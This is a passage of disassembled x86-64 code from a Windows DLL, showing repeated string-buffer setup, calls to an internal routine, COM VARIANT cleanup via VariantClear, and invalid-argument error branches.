mov byte [rcx + 0x38], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011589
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800115aa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800115cb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800115ec
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001160d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001162e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x18001164e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56d00]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56d08]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56d10]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56d18]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56d20]
mov qword [rcx + 0x20], rax
mov rax, qword [rdi + 0x56d28]
mov qword [rcx + 0x28], rax
movzx eax, byte [rdi + 0x56d30]
mov byte [rcx + 0x30], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800116d9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800116fa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001171b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001173c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001175d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001177e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x18001179e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
mov ecx, 0x80070057
call fcn.180002660
int3
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56dc0]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56dc8]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56dd0]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56dd8]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56de0]
mov qword [rcx + 0x20], rax
mov rax, qword [rdi + 0x56de8]
mov qword [rcx + 0x28], rax
mov rax, qword [rdi + 0x56df0]
mov qword [rcx + 0x30], rax
mov rax, qword [rdi + 0x56df8]
mov qword [rcx + 0x38], rax
movzx eax, byte [rdi + 0x56e00]
mov byte [rcx + 0x40], al
lea rdx, [rsp + 0x12a0]
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011857
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011878
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011899
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800118ba
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800118db
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800118fc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x18001191c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56d88]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56d90]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56d98]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56da0]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56da8]
mov qword [rcx + 0x20], rax
movzx eax, byte [rdi + 0x56db0]
mov byte [rcx + 0x28], al
lea rdx, [rsp + 0x12a0]
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800119a9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800119ca
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800119eb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011a0c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011a2d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011a4e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x180011a6e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56d88]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56d90]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56d98]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56da0]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56da8]
mov qword [rcx + 0x20], rax
movzx eax, byte [rdi + 0x56db0]
mov byte [rcx + 0x28], al
lea rdx, [rsp + 0x12a0]
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011af6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011b17
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011b38
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011b59
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011b7a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011b9b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x180011bbb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
mov ecx, 0x80070057
call fcn.180002660
int3
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56d58]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56d60]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56d68]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56d70]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56d78]
mov qword [rcx + 0x20], rax
movzx eax, byte [rdi + 0x56d80]
mov byte [rcx + 0x28], al
xor eax, eax
mov rcx, r13
lea rdi, [rsp + 0x12a0]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011c5c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011c7d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011c9e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011cbf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011ce0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011d01
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x180011d21
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
mov ecx, 0x80070057
call fcn.180002660
int3
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56e60]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56e68]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56e70]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56e78]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56e80]
mov qword [rcx + 0x20], rax
mov rax, qword [rdi + 0x56e88]
mov qword [rcx + 0x28], rax
mov rax, qword [rdi + 0x56e90]
mov qword [rcx + 0x30], rax
mov rax, qword [rdi + 0x56e98]
mov qword [rcx + 0x38], rax
movzx eax, byte [rdi + 0x56ea0]
mov byte [rcx + 0x40], al
lea rdx, [rsp + 0x12a0]
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011dd5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011df6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011e17
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011e38
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011e59
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011e7a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x180011e9a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56e30]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56e38]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56e40]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56e48]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56e50]
mov qword [rcx + 0x20], rax
mov eax, dword [rdi + 0x56e58]
mov dword [rcx + 0x28], eax
movzx eax, byte [rdi + 0x56e5c]
mov byte [rcx + 0x2c], al
lea rdx, [rsp + 0x12a0]
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011f2b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011f4c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011f6d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011f8e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011faf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180011fd0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x180011ff0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
mov ecx, 0x80070057
call fcn.180002660
int3
cmp edx, 0x50
je 0x1800120ff
cmp edx, 0x60
je 0x1800120ff
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012030
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012051
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012072
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012093
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800120b4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800120d5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x1800120f5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, 1
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56ee0]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56ee8]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56ef0]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56ef8]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56f00]
mov qword [rcx + 0x20], rax
mov rax, qword [rdi + 0x56f08]
mov qword [rcx + 0x28], rax
mov eax, dword [rdi + 0x56f10]
mov dword [rcx + 0x30], eax
movzx eax, byte [rdi + 0x56f14]
mov byte [rcx + 0x34], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001218c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800121ad
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800121ce
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800121ef
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012210
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012231
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x180012251
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56c60]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56c68]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56c70]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56c78]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56c80]
mov qword [rcx + 0x20], rax
mov rax, qword [rdi + 0x56c88]
mov qword [rcx + 0x28], rax
mov rax, qword [rdi + 0x56c90]
mov qword [rcx + 0x30], rax
mov rax, qword [rdi + 0x56c98]
mov qword [rcx + 0x38], rax
movzx eax, byte [rdi + 0x56ca0]
mov byte [rcx + 0x40], al
mov r8d, r15d
mov edx, r14d
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800122f8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012319
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001233a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001235b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001237c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001239d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x1800123bd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56c28]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56c30]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56c38]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56c40]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56c48]
mov qword [rcx + 0x20], rax
mov rax, qword [rdi + 0x56c50]
mov qword [rcx + 0x28], rax
movzx eax, byte [rdi + 0x56c58]
mov byte [rcx + 0x30], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
